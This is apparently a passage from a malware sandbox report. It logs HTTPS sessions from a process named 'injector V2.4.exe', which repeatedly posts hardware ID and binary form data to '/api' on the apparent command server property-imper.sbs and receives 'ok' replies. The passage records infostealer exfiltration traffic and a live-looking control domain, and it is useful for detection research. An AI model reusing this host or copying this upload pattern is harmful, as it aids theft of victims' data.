2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 33 66 38 62 0d 0a 73 70 43 2f 57 6a 53 61 43 6a 53 62 51 50 43 37 44 7a 71 4f 6c 79 4c 62 36 4e 4e 79 78 6f 69 62 34 37 57 78 54 46 61 4b 6c 6e 4a 79 45 47 31 55 64 39 30 4b 39 39 2b 54 64 47 6e 4b 71 6f 38 55 63 55 39 36 41 61 44 56 69 6c 33 79 4a 79 4c 45 55 55 77 57 63 66 4e 56 50 74 71 31 58 63 71 33 58 6f 4a 7a 76 73 79 37 7a 78 54 69 48 65 74 54 63 73 61 49 6d 2b 4f 31 73 55 6b 59 7a 31 62 30 73 51 53 77 6d 66 53 64 43 4c 4f 4b 42 4b 41 38 48 50 74 4e 78 33 64 4a 61 73 42 69 46 4d 67 65 4e 79 45 69 52 39 46 50 55 4c 4b 79 56 48 35 61 39 64 32 49 4d 70 6a 41 73 62 6d 4d 75 63 32 56 6f 46 6c 36 45 50 46 58 54 30 33 6c 73 36 6b 45 31 67 6f 53 4e 4b 42 5a 66 52 71 30 6e 30 7a 6d 48 64 44 31 36 6b 30 35 6e 73 46 78 57 53 6b 41 59 52 56 49 33 33 47 6a 59 Data Ascii: 3f8bspC/WjSaCjSbQPC7DzqOlyLb6NNyxoib47WxTFaKlnJyEG1Ud90K99+TdGnKqo8UcU96AaDVil3yJyLEUUwWcfNVPtq1Xcq3XoJzvsy7zxTiHetTcsaIm+O1sUkYz1b0sQSwmfSdCLOKBKA8HPtNx3dJasBiFMgeNyEiR9FPULKyVH5a9d2IMpjAsbmMuc2VoFl6EPFXT03ls6kE1goSNKBZfRq0n0zmHdD16k05nsFxWSkAYRVI33GjY
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 53 38 37 49 58 76 6c 74 30 48 49 70 33 33 6f 41 79 2b 45 35 34 7a 35 52 69 47 61 36 44 6f 51 61 61 7a 66 4a 6c 73 56 47 46 78 31 34 39 4f 41 51 36 43 72 46 4f 69 4c 55 4b 46 57 4f 36 44 76 74 4e 56 6d 58 61 37 6f 44 67 6c 6f 6a 66 38 61 4a 69 52 42 5a 4b 45 50 43 77 31 37 34 62 4e 56 2b 4a 4e 78 73 41 63 6d 70 66 61 6f 38 52 63 55 39 36 43 57 47 51 44 38 31 34 49 57 46 47 55 63 73 55 49 50 63 48 75 34 6b 32 33 5a 6c 67 43 67 4a 78 65 4d 36 36 54 4a 5a 69 47 57 68 41 6f 78 53 4b 48 2f 63 6a 34 38 4d 55 7a 39 4b 7a 4d 6c 55 2f 32 6a 54 64 69 48 4b 59 30 32 41 71 54 54 79 65 77 58 46 52 61 4d 62 70 6b 67 33 4e 39 48 41 6e 46 35 51 4e 67 75 62 67 31 6e 37 5a 64 31 77 49 39 4e 74 41 4d 37 73 4f 65 30 33 58 59 56 6d 72 67 75 49 55 69 31 37 77 6f 32 49 47 31 4d Data Ascii: S87IXvlt0HIp33oAy+E54z5RiGa6DoQaazfJlsVGFx149OAQ6CrFOiLUKFWO6DvtNVmXa7oDglojf8aJiRBZKEPCw174bNV+JNxsAcmpfao8RcU96CWGQD814IWFGUcsUIPcHu4k23ZlgCgJxeM66TJZiGWhAoxSKH/cj48MUz9KzMlU/2jTdiHKY02AqTTyewXFRaMbpkg3N9HAnF5QNgubg1n7Zd1wI9NtAM7sOe03XYVmrguIUi17wo2IG1M
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 56 48 78 61 4e 45 36 61 35 68 76 46 59 36 78 63 38 30 68 55 49 4e 79 75 54 69 43 57 6e 51 33 30 63 43 63 58 6c 41 32 43 35 75 44 58 66 74 75 30 58 38 68 30 47 38 4f 7a 2b 55 33 35 7a 5a 5a 6a 47 47 74 48 35 64 63 4b 33 66 42 67 49 6f 53 52 54 52 4f 77 38 38 51 75 53 54 62 59 6d 57 41 4b 44 7a 5a 36 58 50 31 64 55 54 46 59 71 52 4e 33 52 6f 71 65 74 79 43 69 68 35 57 4f 55 2f 49 78 46 62 78 5a 64 39 2f 4a 74 31 75 44 4d 37 6c 4f 65 30 7a 56 34 74 6f 72 67 6d 44 58 47 55 35 6a 6f 6d 64 58 67 39 36 65 63 37 4e 57 66 52 69 30 57 77 4e 36 53 67 53 67 50 42 7a 37 54 63 64 33 53 57 73 42 6f 31 57 49 48 2f 4c 6a 34 30 55 58 7a 56 45 30 63 4a 66 2f 6d 50 58 64 79 72 57 62 51 50 63 37 6a 6a 68 4d 31 53 4c 59 2b 68 44 78 56 30 39 4e 35 62 4f 73 78 31 5a 4d 56 72 4d Data Ascii: VHxaNE6a5hvFY6xc80hUINyuTiCWnQ30cCcXlA2C5uDXftu0X8h0G8Oz+U35zZZjGGtH5dcK3fBgIoSRTROw88QuSTbYmWAKDzZ6XP1dUTFYqRN3RoqetyCih5WOU/IxFbxZd9/Jt1uDM7lOe0zV4torgmDXGU5jomdXg96ec7NWfRi0WwN6SgSgPBz7Tcd3SWsBo1WIH/Lj40UXzVE0cJf/mPXdyrWbQPc7jjhM1SLY+hDxV09N5bOsx1ZMVrM
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 58 54 4f 6d 75 59 62 78 57 4f 73 58 50 62 4c 56 71 43 61 75 6f 6b 67 6b 45 6b 66 63 32 46 69 56 35 49 64 46 4b 44 78 46 79 33 50 4a 78 33 4b 64 56 73 48 38 4c 70 4d 2b 4d 38 56 35 64 71 70 77 43 47 57 69 42 6c 7a 35 79 4b 46 56 49 35 54 38 7a 4d 58 50 39 75 6e 44 52 6c 33 33 42 4e 6c 71 6b 66 36 53 70 58 78 30 4b 79 47 34 4a 57 4e 48 7a 44 67 73 55 42 47 53 4d 4c 78 4d 38 51 72 79 54 63 65 79 6a 4b 62 51 7a 45 34 7a 37 69 4e 46 69 41 61 71 77 4a 6a 6c 51 33 65 63 47 4f 67 78 56 57 50 30 6a 49 79 56 37 2b 64 70 77 30 5a 64 39 77 54 5a 61 70 47 66 45 36 55 49 6b 6e 68 67 61 54 58 57 64 57 77 49 57 43 45 6b 46 36 56 49 33 61 45 50 42 6f 6e 43 4a 6c 30 57 59 42 7a 65 34 37 34 6a 35 64 6a 6d 57 6e 42 34 74 64 4e 33 33 43 68 4a 63 52 56 44 64 50 7a 73 6c 56 2f Data Ascii: XTOmuYbxWOsXPbLVqCauokgkEkfc2FiV5IdFKDxFy3PJx3KdVsH8LpM+M8V5dqpwCGWiBlz5yKFVI5T8zMXP9unDRl33BNlqkf6SpXx0KyG4JWNHzDgsUBGSMLxM8QryTceyjKbQzE4z7iNFiAaqwJjlQ3ecGOgxVWP0jIyV7+dpw0Zd9wTZapGfE6UIknhgaTXWdWwIWCEkF6VI3aEPBonCJl0WYBze474j5djmWnB4tdN33ChJcRVDdPzslV/
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 6c 67 43 67 4e 79 75 55 77 37 54 56 53 69 47 71 76 42 6f 70 51 4b 32 58 42 69 34 30 53 58 7a 64 5a 79 63 6c 43 2f 6d 33 52 64 43 33 4b 61 30 32 41 71 54 54 79 65 77 58 46 56 36 49 4f 69 55 77 6f 65 49 36 52 79 77 63 58 50 55 65 44 6d 78 44 6c 64 74 78 78 4a 64 39 6d 48 38 2f 68 50 4f 41 37 57 34 35 76 71 77 53 42 56 43 78 78 7a 34 4f 45 48 31 63 2f 53 38 72 52 58 62 63 71 6e 48 30 39 6d 44 42 4e 2b 65 55 34 32 7a 68 4c 78 58 72 6d 46 4d 56 64 4b 54 65 57 7a 6f 51 4d 57 6a 4a 50 77 38 35 57 2f 47 58 64 65 53 58 59 61 77 33 4c 34 6a 7a 73 50 46 43 50 62 4b 45 66 6a 56 34 33 64 38 4b 4b 78 56 41 58 50 56 4f 44 6d 78 44 48 5a 39 64 32 4a 64 56 39 54 64 47 6e 4b 71 6f 38 55 63 55 39 36 41 57 4f 55 53 4e 38 7a 59 32 4c 46 56 30 31 52 4d 6e 46 56 76 39 68 33 48 Data Ascii: lgCgNyuUw7TVSiGqvBopQK2XBi40SXzdZyclC/m3RdC3Ka02AqTTyewXFV6IOiUwoeI6RywcXPUeDmxDldtxxJd9mH8/hPOA7W45vqwSBVCxxz4OEH1c/S8rRXbcqnH09mDBN+eU42zhLxXrmFMVdKTeWzoQMWjJPw85W/GXdeSXYaw3L4jzsPFCPbKEfjV43d8KKxVAXPVODmxDHZ9d2JdV9TdGnKqo8UcU96AWOUSN8zY2LFV01RMnFVv9h3H
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 44 4d 50 35 4e 4b 70 31 48 59 4d 6c 38 46 33 4c 47 69 46 6d 6a 74 62 56 54 41 78 76 47 4a 53 54 41 75 67 71 78 54 6f 7a 6d 44 42 66 67 4b 6b 68 71 6d 4d 64 77 6d 61 36 48 34 4e 5a 4d 33 53 4a 73 4c 73 2b 58 44 5a 49 7a 38 4a 58 74 79 71 63 64 57 57 41 55 55 33 4e 2b 79 47 6c 4b 6b 75 49 64 61 39 42 6a 55 73 6f 65 34 37 41 78 56 4a 54 4d 55 66 47 78 45 43 34 64 73 78 78 4b 63 34 6b 43 64 79 70 66 61 6f 71 56 6f 70 33 70 67 72 4b 53 7a 4e 36 33 6f 32 41 47 52 73 79 57 73 37 50 45 4c 6b 6b 79 58 45 70 33 6d 55 59 67 66 67 6c 36 53 31 61 79 57 32 35 41 49 6b 61 47 6a 6d 4f 6c 73 56 47 46 77 39 49 7a 63 31 58 34 58 57 52 57 69 37 55 61 77 48 50 37 6e 4f 6b 65 31 76 46 50 66 74 44 78 56 34 30 4e 35 62 65 31 30 55 43 61 52 79 54 6b 55 2b 35 66 5a 78 73 5a 59 41 Data Ascii: DMP5NKp1HYMl8F3LGiFmjtbVTAxvGJSTAugqxTozmDBfgKkhqmMdwma6H4NZM3SJsLs+XDZIz8JXtyqcdWWAUU3N+yGlKkuIda9BjUsoe47AxVJTMUfGxEC4dsxxKc4kCdypfaoqVop3pgrKSzN63o2AGRsyWs7PELkkyXEp3mUYgfgl6S1ayW25AIkaGjmOlsVGFw9Izc1X4XWRWi7UawHP7nOke1vFPftDxV40N5be10UCaRyTkU+5fZxsZYA
2024-11-23 13:11:14 UTC	1369	IN	Data Raw: 53 47 71 59 78 33 43 61 36 55 4d 68 6c 51 6d 5a 64 79 49 68 67 68 55 66 58 58 39 35 6c 33 36 59 64 4a 39 47 2b 5a 4a 42 39 37 6b 50 4f 30 46 59 37 4a 30 72 78 33 48 66 43 5a 68 7a 63 37 4c 58 6b 39 36 45 34 50 69 57 75 64 70 30 33 31 6c 6c 69 67 4a 6a 72 46 7a 7a 7a 5a 51 67 47 75 76 54 36 52 51 4e 58 72 42 69 63 56 51 46 7a 59 4c 6d 34 4e 52 2f 58 54 52 64 53 4b 55 62 78 66 4a 71 58 32 71 4e 52 33 64 4a 61 6b 48 6c 56 63 71 63 49 4b 49 69 78 41 58 4a 51 58 61 67 30 61 33 50 49 38 30 5a 63 6f 6f 56 59 36 75 50 65 63 36 58 6f 74 6d 75 68 2b 44 57 54 4e 30 69 62 43 37 4f 31 6f 33 54 73 33 45 62 73 6c 46 31 6d 6f 6f 31 32 39 50 37 75 34 6c 36 51 56 6a 73 6e 53 76 48 63 64 38 4a 6d 48 4e 7a 73 74 65 54 33 6f 54 67 2b 4a 61 35 32 6e 54 66 57 66 34 62 78 76 4e Data Ascii: SGqYx3Ca6UMhlQmZdyIhghUfXX95l36YdJ9G+ZJB97kPO0FY7J0rx3HfCZhzc7LXk96E4PiWudp031lligJjrFzzzZQgGuvT6RQNXrBicVQFzYLm4NR/XTRdSKUbxfJqX2qNR3dJakHlVcqcIKIixAXJQXag0a3PI80ZcooVY6uPec6Xotmuh+DWTN0ibC7O1o3Ts3EbslF1moo129P7u4l6QVjsnSvHcd8JmHNzsteT3oTg+Ja52nTfWf4bxvN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:16 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HFRS7G1FUA8RE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12810 Host: property-imper.sbs
2024-11-23 13:11:16 UTC	12810	OUT	Data Raw: 2d 2d 48 46 52 53 37 47 31 46 55 41 38 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 48 46 52 53 37 47 31 46 55 41 38 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 46 52 53 37 47 31 46 55 41 38 52 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 31 32 38 35 30 32 35 37 30 35 0d 0a 2d 2d 48 46 52 53 37 47 Data Ascii: --HFRS7G1FUA8REContent-Disposition: form-data; name="hwid"C16B99DACE32E567C8852029FBE145BA--HFRS7G1FUA8REContent-Disposition: form-data; name="pid"2--HFRS7G1FUA8REContent-Disposition: form-data; name="lid"yau6Na--1285025705--HFRS7G
2024-11-23 13:11:16 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tkvucbdp54rb8tholkb7abrdnk; expires=Wed, 19-Mar-2025 06:57:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YAWsOa2vc938UuQNKjTMNeRxy%2FCRuex92zqPbAk1sIKLJrEKchCqm7UcKrQomE7zsouHFscG1X6Zx1qRfoY2dgAT8xbW0YFCwpAhB49P%2FYDorU1OzkLObWZQ%2FfO5xQoANGgd7OY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71677799e3420d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13747&delivery_rate=1781574&cwnd=242&unsent_bytes=0&cid=1498af8fa42aecf2&ts=751&x=0"
2024-11-23 13:11:16 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:11:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=69CXXKCM4XW3VKJ8X0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: property-imper.sbs
2024-11-23 13:11:18 UTC	15082	OUT	Data Raw: 2d 2d 36 39 43 58 58 4b 43 4d 34 58 57 33 56 4b 4a 38 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 36 39 43 58 58 4b 43 4d 34 58 57 33 56 4b 4a 38 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 39 43 58 58 4b 43 4d 34 58 57 33 56 4b 4a 38 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 31 32 38 35 30 Data Ascii: --69CXXKCM4XW3VKJ8X0Content-Disposition: form-data; name="hwid"C16B99DACE32E567C8852029FBE145BA--69CXXKCM4XW3VKJ8X0Content-Disposition: form-data; name="pid"2--69CXXKCM4XW3VKJ8X0Content-Disposition: form-data; name="lid"yau6Na--12850
2024-11-23 13:11:19 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7tp1jn7qnlealirr6tian6akhi; expires=Wed, 19-Mar-2025 06:57:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MVMNFVb0Mqxq1KAGJ3DI2ogQYUOKIbg2UjANt5YINExUCmEz5TW0hPYTHE64C8etHxtUe1ni3X4JmbILmTBzREOB1ffH%2BqVnZs9A074UHQOYtBOQHZELuYSZwMSPlbdAhtGOdYI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7167848aae8c5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=1583514&cwnd=181&unsent_bytes=0&cid=81f8b82e6d663ec2&ts=773&x=0"
2024-11-23 13:11:19 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:11:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:20 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TU3BSQD1V57Y1SYAPT6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20578 Host: property-imper.sbs
2024-11-23 13:11:20 UTC	15331	OUT	Data Raw: 2d 2d 54 55 33 42 53 51 44 31 56 35 37 59 31 53 59 41 50 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 54 55 33 42 53 51 44 31 56 35 37 59 31 53 59 41 50 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 54 55 33 42 53 51 44 31 56 35 37 59 31 53 59 41 50 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 31 32 Data Ascii: --TU3BSQD1V57Y1SYAPT6Content-Disposition: form-data; name="hwid"C16B99DACE32E567C8852029FBE145BA--TU3BSQD1V57Y1SYAPT6Content-Disposition: form-data; name="pid"3--TU3BSQD1V57Y1SYAPT6Content-Disposition: form-data; name="lid"yau6Na--12
2024-11-23 13:11:20 UTC	5247	OUT	Data Raw: 05 a9 66 42 b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fBZ>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-23 13:11:21 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=loc6kpntm6bniha6rlhse8injd; expires=Wed, 19-Mar-2025 06:58:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gswMSCEBmh3bjKio7m13cAoiNLD9pkwluN7Z8eWWOifLgCXBN3KVO25OXkHk7l06OVdWI%2BpL5UwCxzrvk1ecHTeUW2r2yQc%2FKSlUpDCYh20GgMmWoZVZ6q7VRudSXc9Aeu7PDHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7167923c064345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21543&delivery_rate=1572428&cwnd=211&unsent_bytes=0&cid=e2b917ae16e0f037&ts=897&x=0"
2024-11-23 13:11:21 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:11:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:23 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OCZ8RMO9L20OK5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1251 Host: property-imper.sbs
2024-11-23 13:11:23 UTC	1251	OUT	Data Raw: 2d 2d 4f 43 5a 38 52 4d 4f 39 4c 32 30 4f 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 4f 43 5a 38 52 4d 4f 39 4c 32 30 4f 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 43 5a 38 52 4d 4f 39 4c 32 30 4f 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 31 32 38 35 30 32 35 37 30 35 0d 0a 2d 2d 4f 43 5a Data Ascii: --OCZ8RMO9L20OK5Content-Disposition: form-data; name="hwid"C16B99DACE32E567C8852029FBE145BA--OCZ8RMO9L20OK5Content-Disposition: form-data; name="pid"1--OCZ8RMO9L20OK5Content-Disposition: form-data; name="lid"yau6Na--1285025705--OCZ
2024-11-23 13:11:23 UTC	1022	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6e9t6dqgv6h4nifftdjo368k63; expires=Wed, 19-Mar-2025 06:58:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2ByjO6ZLRkM9HTe0H0SqUkD3Rt2%2BT2NrAEvB8oBc88nJ%2FQKCbpVVu8Zee%2FgFlptKbzz4HKmYVs%2BDU6xoLVQbFhP5RuqBLxmUMeDuA%2BqeP2PrOx5TdEE9pDgezRp8X%2B1QhTs2x0o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7167a2290b4249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2038&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2166&delivery_rate=1430671&cwnd=225&unsent_bytes=0&cid=4d172fb739f3a8e5&ts=734&x=0"
2024-11-23 13:11:23 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:11:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:25 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z4LE82AH15EL844SF6X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551200 Host: property-imper.sbs
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 2d 2d 5a 34 4c 45 38 32 41 48 31 35 45 4c 38 34 34 53 46 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 5a 34 4c 45 38 32 41 48 31 35 45 4c 38 34 34 53 46 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 34 4c 45 38 32 41 48 31 35 45 4c 38 34 34 53 46 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 31 32 Data Ascii: --Z4LE82AH15EL844SF6XContent-Disposition: form-data; 